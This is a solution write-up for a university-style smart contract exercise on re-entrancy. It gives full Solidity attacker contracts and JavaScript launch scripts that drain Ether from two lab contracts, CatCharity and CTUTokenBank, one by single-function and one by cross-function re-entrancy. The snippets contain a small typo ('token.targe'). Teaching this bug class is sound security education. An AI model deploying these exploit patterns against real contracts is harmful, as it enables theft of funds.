Smart Contracts Exercise 05: Re-Entrancy – Solution

The solved exercise 5 can be found in this GitLab repository.

Task 1: Cat Charity Hijinks

1. The attacker sends a small donation to the `CatCharity` contract to record their donation.
2. The attacker immediately calls the `claimRefund` function, triggering the re-entrancy vulnerability.
3. While the `claimRefund` function is executing, the attacker's contract falls back into the `claimRefund` function multiple times, draining the `CatCharity` contract's Ether balance.
4. This attack continues until the charity's balance is completely drained, and the funds are transferred to the attacker.

```
contract CatAttacker {
    CatCharity public catCharity;

    constructor(address _catCharityAddress) {
        catCharity = CatCharity(_catCharityAddress);
    }

    /**
     * @notice Initiates the re-entrancy attack.
     * @dev We donate a small amount so that we (the Attacker contract)
     *      have a 'donation' recorded, then immediately claim the refund,
     *      re-entering until the charity's entire balance is drained.
     */
    function attack() external payable {
        // Step 1: Donate a tiny bit from this contract
        catCharity.donate{value: msg.value}();

        // Step 2: Start the refund loop
        catCharity.claimRefund();

        // Step 3: Send the money back to player
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed");
    }

    // Fallback triggered whenever this contract receives Ether
```

```
    receive() external payable {
        // If there's still ETH left in the CatCharity, re-claim
        if (address(catCharity).balance > 0) {
            catCharity.claimRefund();
        }
    }
}
```

JavaScript code to start the attack:

```
// 1) The player deploys the Attacker contract
catAttacker = await (await ethers.getContractFactory("CatAttacker", deployer))
       .deploy(catCharity.target)

// 2) The player calls `attack()` with a small donation to set up re-entrancy
//    We'll donate 0.5 ETH
await catAttacker.connect(player).attack({ value: 5n * 10n ** 17n });
// By the end of this transaction, the attacker contract's fallback
// will keep calling `claimRefund()` in a loop until the charity is drained.
```

Task 2: CTU Token Bank

In this task, the objective is to exploit a cross-function re-entrancy vulnerability in the `CTUTokenBank` contract. Here's how the exploit works:

1. The attacker deposits Ether into the `CTUTokenBank`, which increases their balance in the contract.
2. The attacker then calls the `withdrawEther` function, which is protected by a re-entrancy lock. However, while the lock is active, the attacker exploits a function that allows them to buy CTU Tokens (`buyTokens`) using the previous balance.
3. The attacker repeats this process, buying more tokens and withdrawing Ether until they have drained the bank of its Ether balance.
4. Finally, the attacker withdraws all remaining funds and transfers the stolen Ether to themselves.

```
 /**
 * @title CTUTokenBankAttacker
 * @notice Demonstrates a cross-function reentrancy exploit on CTUTokenBank.
 *         Even though 'withdrawEther' is guarded by a reentrancy lock, 'buyTokens'
 *         is wide open. The attacker calls 'withdrawEther', and during the
 *         fallback--while the lock is active--calls 'buyTokens' using the *old*
 *         balance that hasn't yet been subtracted.
 */
contract CTUTokenBankAttacker {
    ICTUTokenBank public ctuBank;
    ICTUToken public ctuToken;
    address public owner;
    bool private alreadyCalled;

    constructor(address _ctuBank, address _ctuToken) {
        ctuBank = ICTUTokenBank(_ctuBank);
        ctuToken = ICTUToken(_ctuToken);
```

```
        owner = msg.sender;
        alreadyCalled = false;
    }

    function attack() external payable {
        require(msg.sender == owner, "Not owner");

        // 1) Deposit Ether into the bank
        ctuBank.depositEther{value: msg.value}();

        // 2) Start a withdrawal, which will send Ether back to this contract
        ctuBank.withdrawEther();

        // 3) Sell the CTU Tokens to the bank
        ctuToken.approve(address(ctuBank), ctuToken.balanceOf(address(this)));
        ctuBank.sellTokens(ctuToken.balanceOf(address(this)));

        // 4) Withdraw the Ether again
        ctuBank.withdrawEther();

        // 5) Repeat the attack one more time
        alreadyCalled = false;
        ctuBank.depositEther{value: 5 ether}();
        ctuBank.withdrawEther();
        ctuToken.approve(address(ctuBank), 5 * 10 ** 18);
        ctuBank.sellTokens(ctuToken.balanceOf(address(this)));
        ctuBank.withdrawEther();

        // 6) Transfer the stolen funds to the player
        payable(owner).transfer(address(this).balance);
    }

    receive () external payable {
        if (!alreadyCalled) {
            alreadyCalled = true;
            ctuBank.buyTokens();
        }
    }

}
```

JavaScript code to start the attack:

```
// Deploy the attack contract
const attackerContractFactory =
  await ethers.getContractFactory("CTUTokenBankAttacker", player);
const attackerContract =
  await attackerContractFactory.deploy(bank.target, token.targe)
// Execute the attack with 5 Ethers
await attackerContract.attack({ value: 5n * 10n ** 18n });
```